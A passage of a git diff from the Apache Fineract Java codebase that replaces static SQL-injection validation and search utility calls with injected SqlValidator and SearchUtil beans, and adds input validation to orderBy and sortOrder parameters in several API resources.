@@ -1283,7 +1285,7 @@
CommandProcessingResult commandProcessingResult = checkMainResourceExistsWithinScope(entityTable, appTableId);
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(dataTableName);
- Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
+ Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
final Type typeOfMap = new TypeToken<Map<String, String>>() {}.getType();
final Map<String, String> dataParams = fromJsonHelper.extractDataMap(typeOfMap, json);
@@ -1302,12 +1304,12 @@
if (isTechnicalParam(entry.getKey())) {
continue;
}
- ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
+ ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
if (!isUserInsertable(entityTable, columnHeader)) {
continue;
}
insertColumns.add(columnHeader.getColumnName());
- params.add(SearchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
+ params.add(searchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
sqlGenerator));
}
if (addScore) {
@@ -1318,7 +1320,7 @@
} else {
StringBuilder scoreSql = new StringBuilder("SELECT SUM(code_score) FROM m_code_value WHERE m_code_value.");
ArrayList<Object> scoreParams = new ArrayList<>();
- SearchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
+ searchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
Integer score = jdbcTemplate.queryForObject(scoreSql.toString(), Integer.class, scoreParams.toArray(Object[]::new));
scoreValue = score == null ? 0 : score;
}
@@ -1404,7 +1406,7 @@
throw new PlatformDataIntegrityException("error.msg.attempting.multiple.update",
"Application table: " + dataTableName + " Foreign key id: " + appTableId);
}
- Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
+ Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
final List<Object> existingValues = existingRows.getData().get(0).getRow();
HashMap<ResultsetColumnHeaderData, Object> valuesByHeader = columnHeaders.stream().collect(HashMap::new,
(map, e) -> map.put(e, existingValues.get(map.size())), (map, map2) -> {});
@@ -1426,13 +1428,13 @@
if (isTechnicalParam(entry.getKey())) {
continue;
}
- ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
+ ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
if (!isUserUpdatable(entityTable, columnHeader)) {
continue;
}
String columnName = columnHeader.getColumnName();
Object existingValue = valuesByHeader.get(columnHeader);
- Object columnValue = SearchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
+ Object columnValue = searchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
sqlGenerator);
if ((columnHeader.getColumnType().isDecimalType() && MathUtil.isEqualTo((BigDecimal) existingValue, (BigDecimal) columnValue))
|| (existingValue == null ? columnValue == null : existingValue.equals(columnValue))) {
@@ -1445,7 +1447,7 @@
}
Long primaryKey = datatableId == null ? appTableId : datatableId;
if (!updateColumns.isEmpty()) {
- ResultsetColumnHeaderData pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
+ ResultsetColumnHeaderData pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
params.add(primaryKey);
final String sql = sqlGenerator.buildUpdate(dataTableName, updateColumns, headersByName) + " WHERE " + pkColumn.getColumnName()
+ " = ?";
@@ -1533,7 +1535,7 @@
final boolean multiRow = isMultirowDatatable(columnHeaders);
String whereClause = getFKField(entityTable) + " = " + appTableId;
- SQLInjectionValidator.validateSQLInput(whereClause);
+ sqlValidator.validate(whereClause);
String sql = "select * from " + sqlGenerator.escape(dataTableName) + " where " + whereClause;
// id only used for reading a specific entry that belongs to appTableId (in a one to many datatable)
@@ -1636,7 +1638,7 @@
@NotNull
private EntityTables queryForApplicationEntity(final String datatable) {
- SQLInjectionValidator.validateSQLInput(datatable);
+ sqlValidator.validate(datatable);
final String sql = "SELECT application_table_name FROM x_registered_table where registered_table_name = ?";
final SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, datatable); // NOSONAR
@@ -1681,7 +1683,7 @@
} else if (!name.matches(DATATABLE_NAME_REGEX_PATTERN)) {
throw new PlatformDataIntegrityException("error.msg.datatables.datatable.invalid.name.regex", "Invalid data table name.", name);
}
- SQLInjectionValidator.validateSQLInput(name);
+ sqlValidator.validate(name);
}
private String validateDatatableRegistered(String datatable) {
@@ -1750,7 +1752,7 @@
}
private boolean isMultirowDatatable(final List<ResultsetColumnHeaderData> columnHeaders) {
- return SearchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
+ return searchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
}
private String datatableColumnNameToCodeValueName(final String columnName, final String code) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java
index c0464e9..8425fa9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/starter/DataQueriesAutoConfiguration.java
@@ -31,7 +31,9 @@
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
+import org.apache.fineract.portfolio.search.service.SearchUtil;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@@ -50,9 +52,10 @@
final ConfigurationDomainService configurationDomainService, final CodeReadPlatformService codeReadPlatformService,
final DataTableValidator dataTableValidator, final ColumnValidator columnValidator,
final NamedParameterJdbcTemplate namedParameterJdbcTemplate, final SqlInjectionPreventerService preventSqlInjectionService,
- DatatableKeywordGenerator datatableKeywordGenerator) {
+ DatatableKeywordGenerator datatableKeywordGenerator, SqlValidator sqlValidator, SearchUtil searchUtil) {
return new ReadWriteNonCoreDataServiceImpl(jdbcTemplate, databaseTypeResolver, sqlGenerator, context, fromJsonHelper,
genericDataService, fromApiJsonDeserializer, configurationDomainService, codeReadPlatformService, dataTableValidator,
- columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator);
+ columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator, sqlValidator,
+ searchUtil);
}
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java
index e13736e..efb9b06 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/api/SchedulerJobApiResource.java
@@ -61,6 +61,7 @@
import org.apache.fineract.infrastructure.jobs.service.SchedulerJobRunnerReadService;
import org.apache.fineract.infrastructure.security.exception.NoAuthorizationException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/jobs")
@@ -79,6 +80,7 @@
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final PlatformSecurityContext context;
private final FineractProperties fineractProperties;
+ private final SqlValidator sqlValidator;
@GET
@Operation(summary = "Retrieve Scheduler Jobs", description = "Returns the list of jobs.\n" + "\n" + "Example Requests:\n" + "\n"
@@ -117,7 +119,10 @@
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(SchedulerJobApiConstants.SCHEDULER_RESOURCE_NAME);
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final Page<JobDetailHistoryData> jobhistoryDetailData = this.schedulerJobRunnerReadService.retrieveJobHistory(jobId,
searchParameters);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java
index 291ccb5..70ef390 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/jobs/service/SchedulerJobRunnerReadServiceImpl.java
@@ -100,18 +100,18 @@
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(jobHistoryMapper.schema());
sqlBuilder.append(" where job.id=?");
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/AbstractReportingProcessService.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/AbstractReportingProcessService.java
new file mode 100644
index 0000000..4e9bbd8
--- /dev/null
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/AbstractReportingProcessService.java
@@ -0,0 +1,48 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.report.service;
+
+import jakarta.ws.rs.core.MultivaluedMap;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
+
+public abstract class AbstractReportingProcessService implements ReportingProcessService {
+
+ private final SqlValidator sqlValidator;
+
+ protected AbstractReportingProcessService(SqlValidator sqlValidator) {
+ this.sqlValidator = sqlValidator;
+ }
+
+ @Override
+ public Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
+ final Map<String, String> reportParams = new HashMap<>();
+ for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
+ if (entry.getKey().startsWith("R_")) {
+ String pKey = "${" + entry.getKey().substring(2) + "}";
+ String pValue = entry.getValue().get(0);
+ sqlValidator.validate(pValue);
+ reportParams.put(pKey, pValue);
+ }
+ }
+ return reportParams;
+ }
+}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java
index 3140632..ad3d5fa 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/report/service/ReportingProcessService.java
@@ -20,11 +20,9 @@
import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.core.Response;
-import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
public interface ReportingProcessService {
@@ -32,16 +30,5 @@
List<ReportExportType> getAvailableExportTargets();
- default Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
- final Map<String, String> reportParams = new HashMap<>();
- for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
- if (entry.getKey().startsWith("R_")) {
- String pKey = "${" + entry.getKey().substring(2) + "}";
- String pValue = entry.getValue().get(0);
- SQLInjectionValidator.validateSQLInput(pValue);
- reportParams.put(pKey, pValue);
- }
- }
- return reportParams;
- }
+ Map<String, String> getReportParams(MultivaluedMap<String, String> queryParams);
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java
index 8dca897..3f183e2 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobApiResource.java
@@ -53,6 +53,7 @@
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobData;
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobReadPlatformService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RESOURCE_NAME)
@@ -66,6 +67,7 @@
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<ReportMailingJobData> reportMailingToApiJsonSerializer;
private final ReportMailingJobReadPlatformService reportMailingJobReadPlatformService;
+ private final SqlValidator sqlValidator;
@POST
@Consumes({ MediaType.APPLICATION_JSON })
@@ -184,7 +186,10 @@
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
- final SearchParameters searchParameters = SearchParameters.fromReportMailingJob(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final Page<ReportMailingJobData> reportMailingJobData = this.reportMailingJobReadPlatformService
.retrieveAllReportMailingJobs(searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java
index 9d87238..37262af 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/api/ReportMailingJobRunHistoryApiResource.java
@@ -43,6 +43,7 @@
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobRunHistoryData;
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobRunHistoryReadPlatformService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RUN_HISTORY_RESOURCE_NAME)
@@ -55,6 +56,7 @@
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<ReportMailingJobRunHistoryData> reportMailingToApiJsonSerializer;
private final ReportMailingJobRunHistoryReadPlatformService reportMailingJobRunHistoryReadPlatformService;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.platformSecurityContext.authenticatedUser()
.validateHasReadPermission(ReportMailingJobConstants.REPORT_MAILING_JOB_ENTITY_NAME);
- final SearchParameters searchParameters = SearchParameters.fromReportMailingJobRunHistory(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final Page<ReportMailingJobRunHistoryData> reportMailingJobRunHistoryData = this.reportMailingJobRunHistoryReadPlatformService
.retrieveRunHistoryByJobId(reportMailingJobId, searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java
index 0a422be..d6dc95e 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobReadPlatformServiceImpl.java
@@ -71,10 +71,10 @@
sqlStringBuilder.append(mapper.reportMailingJobSchema());
sqlStringBuilder.append(" where rmj.is_deleted = false");
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
}
@@ -82,9 +82,9 @@
sqlStringBuilder.append(" order by rmj.name ");
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlStringBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java
index 72bc93f..81b2194 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/reportmailingjob/service/ReportMailingJobRunHistoryReadPlatformServiceImpl.java
@@ -68,18 +68,18 @@
queryParameters.add(reportMailingJobId);
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlStringBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlStringBuilder.append(" ").append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlStringBuilder.toString(), searchParameters.getSortOrder());
}
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlStringBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlStringBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java
index e0242f2..2c20a57 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/api/SmsApiResource.java
@@ -47,6 +47,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.sms.data.SmsData;
import org.apache.fineract.infrastructure.sms.service.SmsReadPlatformService;
import org.springframework.stereotype.Component;
@@ -66,6 +67,7 @@
private final DefaultToApiJsonSerializer<SmsData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
+ private final SqlValidator sqlValidator;
@GET
public String retrieveAll(@Context final UriInfo uriInfo) {
@@ -99,7 +101,10 @@
@QueryParam("limit") final Integer limit, @QueryParam("orderBy") final String orderBy,
@QueryParam("sortOrder") final String sortOrder) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java
index 82794bd..9a3af75 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/sms/service/SmsReadPlatformServiceImpl.java
@@ -225,10 +225,10 @@
arrayPos = arrayPos + 1;
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
@@ -236,9 +236,9 @@
sqlBuilder.append(" order by smo.submittedon_date, smo.id");
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java
index 737a8f8..ab4c89f 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/survey/service/ReadSurveyServiceImpl.java
@@ -20,6 +20,8 @@
import java.util.ArrayList;
import java.util.List;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
import org.apache.fineract.infrastructure.dataqueries.api.DataTableApiConstant;
import org.apache.fineract.infrastructure.dataqueries.data.DatatableData;
import org.apache.fineract.infrastructure.dataqueries.data.GenericResultsetData;
@@ -27,33 +29,25 @@
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.survey.data.ClientScoresOverview;
import org.apache.fineract.infrastructure.survey.data.LikelihoodStatus;
import org.apache.fineract.infrastructure.survey.data.SurveyDataTableData;
-import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.support.rowset.SqlRowSet;
import org.springframework.stereotype.Service;
+@Slf4j
+@RequiredArgsConstructor
@Service
public class ReadSurveyServiceImpl implements ReadSurveyService {
private final PlatformSecurityContext context;
private final JdbcTemplate jdbcTemplate;
+ private final SqlValidator sqlValidator;
private final GenericDataService genericDataService;
private final ReadWriteNonCoreDataService readWriteNonCoreDataService;
- @Autowired
- public ReadSurveyServiceImpl(final PlatformSecurityContext context, final JdbcTemplate jdbcTemplate,
- final GenericDataService genericDataService, final ReadWriteNonCoreDataService readWriteNonCoreDataService) {
-
- this.context = context;
- this.jdbcTemplate = jdbcTemplate;
- this.genericDataService = genericDataService;
- this.readWriteNonCoreDataService = readWriteNonCoreDataService;
- }
-
@Override
public List<SurveyDataTableData> retrieveAllSurveys() {
@@ -91,7 +85,7 @@
@Override
public SurveyDataTableData retrieveSurvey(String surveyName) {
- SQLInjectionValidator.validateSQLInput(surveyName);
+ sqlValidator.validate(surveyName);
final String sql = "select cf.enabled, application_table_name, registered_table_name, entity_subtype" + " from x_registered_table "
+ " left join c_configuration cf on x_registered_table.registered_table_name = cf.name " + " where exists" + " (select 'f'"
+ " from m_appuser_role ur " + " join m_role r on r.id = ur.role_id"
@@ -153,13 +147,13 @@
+ " tz" + " JOIN ppi_likelihoods_ppi lkp on lkp.ppi_name = '" + surveyNames.getString("name") + "' AND enabled = '"
+ LikelihoodStatus.ENABLED + "' JOIN ppi_scores sc on score_from <= tz.score AND score_to >=tz.score"
+ " JOIN ppi_poverty_line pvl on pvl.likelihood_ppi_id = lkp.id AND pvl.score_id = sc.id"
- + " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = " + clientId);
+ + " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE client_id = ?");
}
List<ClientScoresOverview> scoresOverviews = new ArrayList<>();
for (String sql : sqls) {
- final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql);
+ final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql, clientId);
while (rs.next()) {
scoresOverviews.add(new ClientScoresOverview().setLikelihoodCode(rs.getString("code"))
diff --git a/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java
index 94cc6b7..7317e57 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java
@@ -41,6 +41,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.notification.data.NotificationData;
import org.apache.fineract.notification.service.NotificationReadPlatformService;
import org.springframework.stereotype.Component;
@@ -55,6 +56,7 @@
private final NotificationReadPlatformService notificationReadPlatformService;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final ToApiJsonSerializer<NotificationData> toApiJsonSerializer;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@
this.context.authenticatedUser();
final Page<NotificationData> notificationData;
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
if (!isRead) {
notificationData = this.notificationReadPlatformService.getAllUnreadNotifications(searchParameters);
} else {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java
index 1ddd112..67e945f 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java
@@ -135,18 +135,18 @@
